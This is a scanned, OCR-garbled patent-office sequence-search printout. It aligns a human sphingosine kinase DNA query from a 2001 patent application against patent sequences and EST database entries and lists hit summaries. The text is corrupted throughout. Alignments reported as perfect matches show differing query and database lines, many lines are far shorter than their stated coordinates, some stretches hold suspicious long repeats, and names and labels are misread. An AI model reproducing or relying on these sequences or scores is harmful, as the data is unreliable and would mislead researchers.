TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING
FILE OF INVENTION: SAME
FILE REFERENCE: 10716-08
CURRENT APPLICATION NUMBER: US/09/784, 810A
CURRENT FILING DATE: 2001-02-14
PRIOR APPLICATION NUMBER: 60/182,360
PRIOR FILING DATE: 2000-02-14
PRIOR APPLICATION NUMBER: 60/191,261
PRIOR FILING DATE: 2000-03-22
NUMBER OF SEQ ID NOS: 29
SOFTWARE: PatentIn Ver. 2.1
SEQ ID NO 1
LENGTH: 1600
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: modified_base
LOCATION: (1)
OTHER INFORMATION: a, t, c, g, other or unknown
US-09-784-810A-1
Query Match 100.0%; Score 1599; DB 10; Length 1600;
Best Local Similarity 100.0%; Pred. No. 0;
Matches 1599; Conservative 0; Mismatches 0; Indels 0; Gaps 0;
1 CCCCCGGGGCTCTATAGCCAGGCTCCGGGGGGAAGCCGACAGCCGAGCCG 60
2 CCCCCGGGGCTCTATAGCCAGGCTCCGGGGGGAAGCCGACAGCCGAGCCG 61
61 TGGCAGCGCCCTCGGGCAGCAGCATTAAGAGCTGAAGAGCAGAGCCGCGCCAGCCG 120
62 TGGCAGCGCCCTCGGGCAGCAGCATTAAGAGCTGAAGAGCAGAGCCGCGCCAGCCG 121
121 AGCGCCCGCCAGAGCGCCAGGAGCCCTCGGAGCGGAGAGCCGCGGCTGAGGTATGAT 180
122 AGCGCCCGCCAGAGCGCCAGGAGCCCTCGGAGCGGAGAGCCGCGGCTGAGGTATGAT 181

OY	181	CCAGCGGGGGGGCCCCCGGGGGCGTGTCTCCCGGCGCTTCCCGCGCTGTGGTGGTGGCGTGAAC	240
Db	182	CCAGCGGGGGGGGGCCCCCGGGGGCGTGTCTCCCGGCGCGCTTCCCGCGCTGTGGTGGTGGCGTGAAC	241
OY	241	CCGCGGGGGGGGGAAGGGGCAAGGAGCTTGTGAGCTCTTTCGCGAGTCAAGCTGACGCCCTTTTG	300
Db	242	CCGCGGGGGGGGGAAGGGGCAAGGAGCTTGTGAGCTCTTTCGCGAGTCAAGCTGACGCCCTTTTG	301
OY	301	GCTGAGGCTGAAAATCTCTTTCACGCTGATAGCTCACTAGAGGGGGGGAACCAACGGCGGGAG	360
Db	302	GCTGAGGCTGAAAATCTCTTTCACGCTGATAGCTCACTAGAGGGGGGGAACCAACGGCGGGAG	361
OY	361	CTGTGTGGGCTCGGAGAGAGCTGGGGCCGCTGGGAGCGCTGTGTGTATGTCTGGAGAGCGG	420
Db	362	CTGTGTGGGCTCGGAGAGAGCTGGGGCCGCTGGGAGCGCTGTGTGTATGTCTGGAGAGCGG	421
OY	421	CTGATGACAGAGGTGGTGGAAAGGGGCTCATGAGAGCGGCTGACTGGGAGACCGGCATCAG	480
Db	422	CTGATGACAGAGGTGGTGGAAAGGGGCTCATGAGAGCGGCTGACTGGGAGACCGGCATCAG	481
OY	481	AAGCCCGCTGTGTAGCCCTCCAGCAGGCTCTGGCAGCGCTGGGACGGCTTCTTGAACCAT	540
Db	482	AAGCCCGCTGTGTAGCCCTCCAGCAGGCTCTGGCAGCGCTGGGACGGCTTCTTGAACCAT	541
OY	541	TATGTGTGCTATGAGCAGGTACCAATGAGAAGACCTTCTGACCACTGCAGCGTATGTGTG	600
Db	542	TATGTGTGCTATGAGCAGGTACCAATGAGAAGACCTTCTGACCACTGCAGCGTATGTGTG	601
OY	601	TGCCCGCCGGTGTGTCTACCCATGAAACCTCTCTCTGACACAGGCTTCGGGGCTGGCGC	660
Db	602	TGCCCGCCGGTGTGTCTACCCATGAAACCTCTCTCTGACACAGGCTTCGGGGCTGGCGC	661
OY	661	TGGTTCCTGTGTGCTACAGCTGGCTGGGGGCTTCAATGTGTGTGTGAGCTTGAAGAGTGAT	720
Db	662	TGGTTCCTGTGTGCTACAGCTGGCTGGGGGCTTCAATGTGTGTGTGAGCTTGAAGAGTGAT	721
OY	721	AAGTATGCGCTCTGTGGGGGAATACGCTTCACTGTGGGACCTTCCGTGTGGCAGGC	780
Db	722	AAGTATGCGCTCTGTGGGGGAATACGCTTCACTGTGGGACCTTCCGTGTGGCAGGC	781
OY	781	CTGCGACACTTACCGGGGCGAGCTGGGCTACCTCTCCCTGTAGGAAGATGGGTTTCAAGACA	840
Db	782	CTGCGACACTTACCGGGGCGAGCTGGGCTACCTCTCCCTGTAGGAAGATGGGTTTCAAGACA	841
OY	841	CTGTGTTCCCGCGTGTGTGGTCCAGAGAGGCCCGGTGAATGCACACCTGTGGCCACTGGAG	900
Db	842	CTGTGTTCCCGCGTGTGTGGTCCAGAGAGGCCCGGTGAATGCACACCTGTGGCCACTGGAG	901
OY	901	GAGCAGGTGCTTCTCACTGTGCAAGTGTGTCCTGACACCAAGGACTTGTGTGATAGTCCGGCA	960
Db	902	GAGCAGGTGCTTCTCACTGTGCAAGTGTGTCCTGACACCAAGGACTTGTGTGATAGTCCGGCA	961
OY	961	CTGTGTGACCTGGACCGACCGGCAAGTGAATGTTGCTGTGACCAATGGGCGGCTGTGAGCT	1020
Db	962	CTGTGTGACCTGGACCGGCAAGTGAATGTTGCTGTGACCAATGGGCGGCTGTGAGCT	1021
OY	1021	GCGGTCACTGCACTGTGTCTACGTGGGGGGGGAGTGTCTGTGGCCATGCTCTCGGCTC	1080
Db	1022	GCGGTCACTGCACTGTGTCTACGTGGGGGGGGAGTGTCTGTGGCCATGCTCTCGGCTC	1081
OY	1081	TTCCTGGGCATGAGAGGGCAGGCAATGAGATGATGATGATGATGATGATGATGATGATGATG	1140
Db	1082	TTCCTGGGCATGAGAGGGCAGGCAATGAGATGATGATGATGATGATGATGATGATGATGATG	1141
OY	1141	CCCGTGTGCGCTTCCGTTTGAAGCCCAAGGATGGGAAAGGTGTGTTGGCAATGGATGGG	1200
Db	1142	CCCGTGTGCGCTTCCGTTTGAAGCCCAAGGATGGGAAAGGTGTGTTGGCAATGGATGGG	1201
OY	1201	GAAATGATGTTAGAGAGGCGTGTGACAGGCGCAGGTGACCCAACTACTTCTGTGATGTC	1260
Db	1202	GAAATGATGTTAGAGAGGCGTGTGACAGGCGCAGGTGACCCAACTACTTCTGTGATGTC	1261

07	1261	AGCGGTGGCGTGGAGCCCCCGCCAGCTGGAAGCCCGACAGTGTGCACACCGCCAGAAAG	1320
Db	1262	AGCGGTGGCGTGGAGCCCCCGCCAGCTGGAAGCCCGACAGTGTGCACACCGCCAGAAAG	1321
0Y	1321	CCCTTATGACCCCTGGGCGCGGCTGTGCTTAAAGTGTCTACTTTCAGAGACCTTCTCTCT	1380
Db	1322	CCCTTATGACCCCTGGGCGCGGCTGTGCTTAAAGTGTCTACTTTCAGAGACCTTCTCTCT	1381
0Y	1381	CCCTAGGAGCTGCAGGGCGCTGTCCACAGCTCTGTGGGGGTGGAGAGACTCCCTGTGGAGA	1440
Db	1382	CCCTAGGAGCTGCAGGGCGCTGTCCACAGCTCTGTGGGGGTGGAGAGACTCTGTGGAGA	1441
0Y	1441	AGGCTGGAAGTGGAGGCTATGCTTTGGGGGGAGAGCCAGATGAATGCTGGGTGAG	1500
Db	1442	AGGCTGGAAGTGGAGGCTATGCTTTGGGGGGAGAGCCAGATGAATGCTGGGTGAG	1501
0Y	1501	GAGCCAGCTGGCTGGGCCAGCTGCTATGTATGAGCTTGTATTTGTTCTGAGACCC	1560
Db	1502	GAGCCAGCTGGCTGGGCCAGCTGCTATGTATGAGCTTGTATTTGTTCTGAGACCC	1561
0Y	1561	CACCCAGCAACCAATCCAAATGAAGTACATTCCAA	1599
Db	1562	CACCCAGCAACCAATCCAAATGAAGTACATTCCAA	1600
RESULT 2			
US-10-023-282-90			
Sequence 90, Application US/10023282			
Publication No. US20030092893A1			
GENERAL INFORMATION:			
APPLICANT: Young et al.			
TITLE OF INVENTION: 207 Human Secreted Proteins			
FILE REFERENCE: P2007P1			
CURRENT APPLICATION NUMBER: US/10/023,282			
CURRENT FILING DATE: 2001-12-20			
EARLIER APPLICATION NUMBER: 09/205,258			
EARLIER FILING DATE: 1998-12-04			
EARLIER APPLICATION NUMBER: FCT/US98/11422			
EARLIER FILING DATE: 1998-06-04			
EARLIER APPLICATION NUMBER: 60/048,885			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/049,375			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,881			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,880			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,896			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/049,020			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,876			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,895			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,884			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,894			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,971			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,964			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,882			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,899			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,893			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,900			
EARLIER FILING DATE: 1997-06-06			
EARLIER APPLICATION NUMBER: 60/048,901			
EARLIER FILING DATE: 1997-06-06			

EARLIER APPLICATION NUMBER: 60/048, 892
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 915
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049, 019
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 970
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 972
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 916
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049, 373
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 875
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049, 374
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 917
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 949
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 974
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 883
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 897
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 898
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 962
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 963
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 877
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 878
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/070, 923
EARLIER FILING DATE: 1997-12-18
EARLIER APPLICATION NUMBER: 60/092, 921
EARLIER FILING DATE: 1998-07-15
EARLIER APPLICATION NUMBER: 60/094, 657
EARLIER FILING DATE: 1998-07-30
NUMBER OF SEQ ID NOS: 1227
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 90
LENGTH: 1533
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: SITE
LOCATION: (12)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (123)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (1522)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (1527)
OTHER INFORMATION: n equals a,t,g, or c
US-10-023-282-90

Query Match 89.2% Score 1426.8; DB 9; Length 1533;
Best Local Similarity 97.88; Pred. No. 0;
Matches 1459; Conservative 6; Mismatches 25; Indels 2; Gaps 2;
QY GCCGCCAGCGGCGACGCCGCCACAGCGCCAGGAGACCCCTTGGCAGCGGAGCCGCGGCTC 168

|||||
8 GCCGNCACGGGACAGCG-CCCATAGCCGACGGAGACCCCTGGGACGCGGAGCCGCGGCTC 66
QY 169 GAGGTATGATCCAGCGGGGCGCCCCGGGGCGTGTCCCCGGGCGCCCTCCGCTCTG 228
Db 67 GAGGTATGATCCAGCGGGGCGCCCCGGGGCGTGTCCCCGGGCGCCCTCCGCTCTG 126
QY 229 GTGCTGTGAACCGCGCGCGGCAAGGCAAGGCTTGGAGCTCTCCGAGTCACTG 288
Db 127 GTGCTGTGAACCGCGCGCGGCAAGGCAAGGCTTGGAGCTCTCCGAGTCACTG 186
QY 289 CAGCCCTTTTGGCTGAGGCTGAATCTCTCAGCTGATGCTCACTGAGCGGCGAAC 348
Db 187 CAGCCCTTTTGGCTGAGGCTGAATCTCTCAGCTGATGCTCACTGAGCGGCGAAC 246
QY 349 CAGCGCGGAGAGCTGTGGCGGTGGAGAGCTGGGCGGCTGGAGAGCTGTGGTATG 408
Db 247 CAGCGCGGAGAGCTGTGGCGGTGGAGAGCTGGGCGGCTGGAGAGCTGTGGTATG 306
QY 409 TCTGGAGAGCGGCTGATGCAAGAGTGTGAAGCGGC-TCATGAGGCGGCTGATGGA 467
Db 307 TTGGAAGAGCGGCTGATGCAAGAGTGTGAAGCGGCCTTCAATGAGCGGCTGATGGA 366
QY 468 GACCGCCATCCAGAGCCCTGTGTAGCTCCAGAGGCTTGGCAAGCGGCTGGGAGC 527
Db 367 GACCGCCATCCAGAGCCCTGTGTAGCTCCAGAGGCTTGGCAAGCGGCTGGGAGC 426
QY 528 TTCCTTAACCATTTATGCTGGCTATGAGCAGGTATCCAAATGAAAGCTCTGACCACTG 587
Db 427 TTCCTTAACCATTTATGCTGGCTATGAGCAGGTATCCAAATGAAAGCTCTGACCACTG 486
QY 588 CAGGCTATTGCTGGCGCGCGGCTGTGTACCCATGAACTGTGTGTGTGACAGCGC 647
Db 487 CAGGCTATTGCTGGCGCGCGGCTGTGTACCCATGAACTGTGTGTGTGACAGCGC 546
QY 648 TTCGGGCTGGGCTG 707
Db 547 TTCGGGCTGGGCTG 606
QY 708 CTTAGAGAGTATAGTATGAGGCTGTGGGGAATGCGCTTCACTGTGGCACTTCT 767
Db 607 CTTAGAGAGTATAGTATGAGGCTGTGGGGAATGCGCTTCACTGTGGCACTTCT 666
QY 768 GCGTGTGGAGCCCTGGGCACTTACCGGCGGCGGCTGCTACCTTCTGTAGGAAGT 827
Db 667 GCGTGTGGAGCCCTGGGCACTTACCGGCGGCGGCTGCTACCTTCTGTAGGAAGT 726
QY 828 GGGTTTCAAGACACTCTTCCCGGTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 887
Db 727 GGGTTTCAAGACACTCTTCCCGGTTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 786
QY 888 GGTGCCACTGGAGAGCAGGTGCTTCTCACTGGCAGTGTGCCCCGACAGACTTTGT 947
Db 787 TGTGCCACTGGAGAGCAGGTGCTTCTCACTGGCAGTGTGCCCCGACAGACTTTGT 846
QY 948 GCTAGTCTGGCACTGT 1007
Db 847 GCTAGTCTGGCACTGT 906
QY 1008 CCGCTGTGACGCTGGGCTCATGATCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1067
Db 907 CCGCTGTGACGCTGGGCTCATGATCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 966
QY 1068 GCTGCTGGGCTCTTCTGCGCATGAGAGAGGCGCATATGAGATGAATCCCTTA 1127
Db 967 GCTGCTGGGCTCTTCTGCGCATGAGAGAGGCGCATATGAGATGAATCCCTTA 1026
QY 1128 CTTGATATGATGCGCGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1187
Db 1027 CTTGATATGATGCGCGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1086
QY 1188 TGCAGTGGATGGGAATGTATGTAGCAGAGCCGTGACAGGCGCAGGTGACCCAACTA 1247
|||||

Db 1087 TGCAAGTGGGAAATGATGTTAGCGAGGCGCTGACAGGCGCAGGTGCACCCAACTA 1146
QY 1248 CTTCTGGATGATGAGGGTGGTGGAGAGCCCGCCAGCTGGAAGCCCGCAGATGCG 1307
Db 1147 CTTCTGGATGATGAGGGTGGTGGAGAGCCCGCCAGCTGGAAGCCCGCAGATGCG 1206
QY 1308 ACCGCGAGAGAGAGCCCTTATGAGCCCTGAGCGCGCTGAGCTTATGCTACTTACAG 1367
Db 1207 ACCGCGAGAGAGAGCCCTTATGAGCCCTGAGCGCGCTGAGCTTATGCTACTTACAG 1266
QY 1368 ACCCTTCT 1427
Db 1267 ACCCTTCT 1326
QY 1428 ACTCTCTGAG 1487
Db 1327 ACTCTCTGAG 1386
QY 1488 AGTCTGGGTCAG 1547
Db 1387 AGTCTGGGTCAG 1446
QY 1548 GTTCTGAG 1599
Db 1447 GTTCTGAG 1498

RESULT 3

US-09-970-516-1
; Sequence 1, Application US/09970516
; Patent No. US20020099029A1
; GENERAL INFORMATION:
; APPLICANT: No. US20020099029A1artis AG
; TITLE OF INVENTION: Induction of blood vessel formation through administration of
; TITLE OF INVENTION: polynucleotides encoding sphingosine kinases
; FILE REFERENCE: 4-31617
; CURRENT APPLICATION NUMBER: US/09/970,516
; NUMBER OF SEQ ID NOS: 6
; SOFTWARE: PatentIn version 3.1
; SEQ ID NO 1
; LENGTH: 1155
; TYPE: DNA
; ORGANISM: Homo sapiens
; FEATURE:
; NAME/KEY: CDS
; LOCATION: (1)-(1155)
; OTHER INFORMATION:
US-09-970-516-1

Query Match 70.3%; Score 1124.6; DB 10; Length 1155;
Best Local Similarity 98.4%; Pred. No. 6.8e-295;
Matches 1136; Conservative 0; Mismatches 19; Indels 0; Gaps 0;

QY 175 ATGATCCAGAGGGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 234
Db 1 ATGATCCAGAGGGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 60
QY 235 CTGAACCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 294
Db 61 CTGAACCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 120
QY 295 CTTTGGCTGAGCTGAATCT 354
Db 121 CTTTGGCTGAGCTGAATCT 180
QY 355 CGGAGCTGTCGCGTGGAG 414
Db 181 CGGAGCTGTCGCGTGGAG 240
QY 415 GAGCGGCTGATGACAG 474
Db 241 GAGCGGCTGATGACAG 300

QY 475 ATCCAG 534
Db 301 ATCCAG 360
QY 535 AACCATTAATGCTGAG 594
Db 361 AACCATTAATGCTGAG 420
QY 595 TTGCTCTGCG 654
Db 421 TTGCTCTGCG 480
QY 655 CTGCGCT 714
Db 481 CTGCGCT 540
QY 715 AGTGAATAGTATGAG 774
Db 541 AGTGAATAGTATGAG 600
QY 775 GGAGCCCTGCGAG 834
Db 601 GGAGCCCTGCGAG 660
QY 835 AAGACACCTGCTTCCCGCGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 894
Db 661 AAGACACCTGCTTCCCGCGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 720
QY 895 CTGAG 954
Db 721 CTGAG 780
QY 955 CTGAG 1014
Db 781 CTGAG 840
QY 1015 GCAGCTGGCGTCATGCTATCTGTTCTGTCAGAGAGAGAGAGAGAGAGAGAGAG 1074
Db 841 GCAGCTGGCGTCATGCTATCTGTTCTGTCAGAGAGAGAGAGAGAGAGAGAGAG 900
QY 1075 CGCCT 1134
Db 901 CGCCT 960
QY 1135 TATGTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1194
Db 961 TATGTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1020
QY 1195 GATGGGAATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1254
Db 1021 GATGGGAATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1080
QY 1255 ATGATCAGAGGCTGAG 1314
Db 1081 ATGATCAGAGGCTGAG 1140
QY 1315 GAAGAGCCCTTATGA 1329
Db 1141 GAAGAGCCCTTATGA 1155

RESULT 4

US-09-784-810a-3
; Sequence 3, Application US/09784810A
; Patent No. US20020082203A1
; GENERAL INFORMATION:
; APPLICANT: RASTELT, LUCIA
; TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING
; TITLE OF INVENTION: SAME
; FILE REFERENCE: 10716-08
; CURRENT APPLICATION NUMBER: US/09/784,810A
; CURRENT FILING DATE: 2001-02-14

QY	1450	AGGTGGAGGCGTATGCTTTGGGGGGGACAGGCGAGATGAAGTCCTGGGTCAGAGACCAGC	1509
Db	154	AGGTGGAGGCTATGCTTTGGGGGGGACAGGCGAGATGAAGTCCTGGGTCAGAGACCAGC	95
QY	1510	TGCGTGGAGCCAGCTGCCCTATGTAAAGACCTTCTAGTTGTCTGAGACCCGACCCACAG	1569
Db	94	TGCGTGGAGCCAGCTGCCCTATGTAAAGACCTTCTAGTTGTCTGAGACCCGACCCACAG	35
QY	1570	AACCAAAATCCAAATTAAGTGACATTGCCA	1598
Db	34	AACCAAAATCCAAATTAAGTGACATTGCCA	6

```

RESULT 7
US-09-783-590-9248
: Sequence 9248, Application US/09783590
: Patient No. US20020110850A1
: GENERAL INFORMATION:
: APPLICANT: Dillon, Patrick J.
: APPLICANT: Haseltine, William A.
: APPLICANT: Li, Haodong
: APPLICANT: Rosen, Craig A.
: APPLICANT: Ruben, Steven M.
: TITLE OF INVENTION: Human Genes, Sequences, and Expression Products 16.2
: FILE REFERENCE: PO-16,2C1
: CURRENT APPLICATION NUMBER: US/09/783,590
: CURRENT FILING DATE: 2000-02-15
: PRIOR APPLICATION NUMBER: 08/420,856
: PRIOR FILING DATE: 1995-04-12
: PRIOR APPLICATION NUMBER: 08/346,731
: PRIOR FILING DATE: 1994-11-21
: NUMBER OF SEQ ID NOS: 12485
: SOFTWARE: Patentln Ver. 2.0
: SEQ ID NO 9248

```



```

Oy      1268 GCGTGAGCCCCCGCCAG 1286
          |||||
Db      181  GCGTGAGCCCCCGCCAG 199

```

RESULT 12
US-10-040-862-2905

Query Match	12.3%	Score 197.4	DB 9	Length 199
Best Local Similarity	99.5%	Pred. No. 6e-44	1	Indels 0
Matches 198	Conservative	0	Mismatches	Gaps 0
QY	1088	CCATGCGAAGGGCCAGCATATGAGATGATGATATGACCCCTTCTTGATATATGTCGCCGATG	1147	
Db	1	CCATGCGAAGGGCCAGCATATGAGATGATGATATGATCCCTTCTTGATATATGTCGCCGATG	60	
QY	1148	TCGCCCTTCGGCTTGGAGGCCCAAGATGGAGAAAGGTGTGTTGCAGTGGATGSGGAATTGA	1207	
Db	61	TCGCCCTTCGGCTTGGAGGCCCAAGATGGAGAAAGGTGTGTTGCAGTGGAGGGAATTGA	120	
QY	1208	TGCTTTAGCGAGCCCGTTCAGAGGCCAGCAGTGCACCCAAATCTTCTTGGATGTCAGCGGTT	126	
Db	121	TGCTTTAGCGAGCCCGTTCAGAGGCCAGCAGTGCACCCAAATCTTCTTGGATGTCAGCGGTT	180	
QY	1268	GCCTGGAGGCCCGCCGCCAG	1286	
Db	181	GCCTGGAGGCCCGCCGCCAG	199	

RESULT 13
US-10-015-219-658
; Sequence 658, Application US/10015215
; Publication No. US20030008299A1

Query Match	12.1%	Score 193	DB 9	Length 296
Best Local Similarity	95.2%	Prod. No. 1e-42		
Matches 199; Conservative	0	Mismatches	10	Gaps 0

```

RESULT 14
US-09-777-564-658
Sequence 658, Application US/09777564
Patent No. US20022591A1
GENERAL INFORMATION:
APPLICANT: Algate, Paul A.
APPLICANT: Mannion, Jane
TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR THE THERAPY
TITLE OF INVENTION: AND DIAGNOSIS OF OVARIAN CANCER
FILE REFERENCE: 210121.493
CURRENT APPLICATION NUMBER: US/09/777,564
CURRENT FILING DATE: 2001-02-05
NUMBER OF SEQ ID NOS: 1730
SOFTWARE: FastSeq for Window Version 4.0
SEQ ID NO 658
LENGTH: 296
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: misc.feature
LOCATION: (1)...(296)
OTHER INFORMATION: n = A,T,C or G
US-09-777-564-658

Query Match          12.1%;   Score 193;   DB 10;   Length 296;
Best Local Similarity 95.2%;   Pred. No. 1e-42;
Matches 199;   Conservative 0;   Indels 0;   Gaps 0

```


THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 13:56:17 ; Search time 2385 Seconds

(without alignments)
10858.106 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600

Perfect score: 1599

Sequence: 1 cccccgggggtctctatagc.....aataaagtacattcccaa 1599

Scoring table: IDENTITY_NUC

Gapop 10.0, Gapext 1.0

Searched: 16154066 seqs, 8097743376 residues

Total number of hits satisfying chosen parameters: 32308132

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Listing first 45 summaries

Database :
EST:
1: em_estba:*
2: em_esthum:*
3: em_estlin:*
4: em_estmmu:*
5: em_estcov:*
6: em_estcpl:*
7: em_estro:*
8: em_hic:*
9: gb_est1:*
10: gb_est2:*
11: gb_hic:*
12: gb_est3:*
13: gb_est4:*
14: gb_est5:*
15: em_estfun:*
16: em_estom:*
17: gb_gss:*
18: em_gss_hum:*
19: em_gss_inv:*
20: em_gss_pln:*
21: em_gss_vrt:*
22: em_gss_fun:*
23: em_gss_mam:*
24: em_gss_mus:*
25: em_gss_other:*
26: em_gss_pro:*
27: em_gss_rod:*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	1558.6	97.5	2133	11	BC014439 Homo sapi
2	847.6	53.0	1054	14	BM808698 AGENCOURT
3	815.4	51.0	1137	14	BM810136 AGENCOURT
4	784.2	45.0	892	13	BM860351 AGENCOURT
5	757.4	47.4	888	14	BM647377 AGENCOURT
6	746.6	46.7	772	9	AT769914 wj30406. x

7	704.4	44.1	785	12	BG680521	BG680521 602628344
8	687.4	43.0	1100	14	BM916526	BM916526 AGENCOURT
9	641.4	40.1	676	10	AM963415	AM963415 ESR375488
10	635.6	39.7	702	10	BE464487	BE464487 h217910. x
11	624.6	39.1	638	9	A1972156	A1972156 wr63c05. x
12	615.8	38.5	662	13	BM386957	BM386957 UI-R-CN1-
13	614.2	38.4	1005	13	BM559257	BM559257 AGENCOURT
14	608.4	38.0	809	12	BG280830	BG280830 602401209
15	606.8	37.9	1075	13	BM557357	BM557357 AGENCOURT
16	605	37.8	793	12	BG678689	BG678689 602624488
17	604.4	37.8	852	13	BE274434	BE274434 601120471
18	600.2	37.5	678	13	BM006005	BM006005 603613736
19	597	37.3	618	10	AM662445	AM662445 h127c05. x
20	582.4	36.4	999	14	AV694791	AV694791 AV694791
21	574.8	35.9	961	10	BG675531	BG675531 AGENCOURT
22	572.6	35.8	603	10	BE275818	BE275818 601121616
23	571.4	35.7	659	12	BE891653	BE891653 601434552
24	569.6	35.6	949	12	BG026631	BG026631 602293762
25	566.6	35.4	606	14	BQ251614	BQ251614 TAE25026D
26	562.6	33.0	720	14	BQ109456	BQ109456 602988310
27	524.6	32.8	947	13	B1415545	B1415545 603029531
28	518	32.4	856	13	B1757316	B1757316 603029531
29	515.2	32.2	2145	11	BC011432	BC011432 Mus muscu
30	507	31.7	842	13	B1648186	B1648186 603279314
31	505.2	31.6	587	9	AU147968	AU147968 AU147968
32	504.8	31.6	1134	14	BM808666	BM808666 AGENCOURT
33	491	30.7	1115	13	BM550039	BM550039 AGENCOURT
34	486	30.4	697	13	B1255900	B1255900 602976518
35	476.2	29.8	534	12	BE904632	BE904632 601498734
36	467.4	29.2	914	13	B1823329	B1823329 603041240
37	457	28.6	732	12	BE728564	BE728564 601562037
38	455.2	28.5	478	12	BE740866	BE740866 601593092
39	446.8	27.9	1232	13	BM556915	BM556915 AGENCOURT
40	440	27.5	447	9	A1042283	A1042283 OY13609. x
41	421.2	26.3	650	12	BG104264	BG104264 602310848
42	418	26.1	675	9	AU134361	AU134361 AU134361
43	414.2	25.9	733	14	BM934157	BM934157 UI-M-CGDP
44	411.8	25.8	973	10	BE273426	BE273426 601142888
45	405	25.3	502	10	BE236257	BE236257 143975 MA

ALIGNMENTS

RESULT 1	BC014439	2133 bp	mRNA	linear	HTC 19-DEC-2001
LOCUS	BC014439				
DEFINITION	Homo sapiens, clone IMAGE:4871343, mRNA.				
ACCESSION	BC014439				
VERSION	BC014439.1 GI:17939597				
KEYWORDS	HTC.				
SOURCE	Homo sapiens.				
ORGANISM	Homo sapiens				
REFERENCE	Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homiidae; Homo.				
AUTHORS	Strausberg, R.				
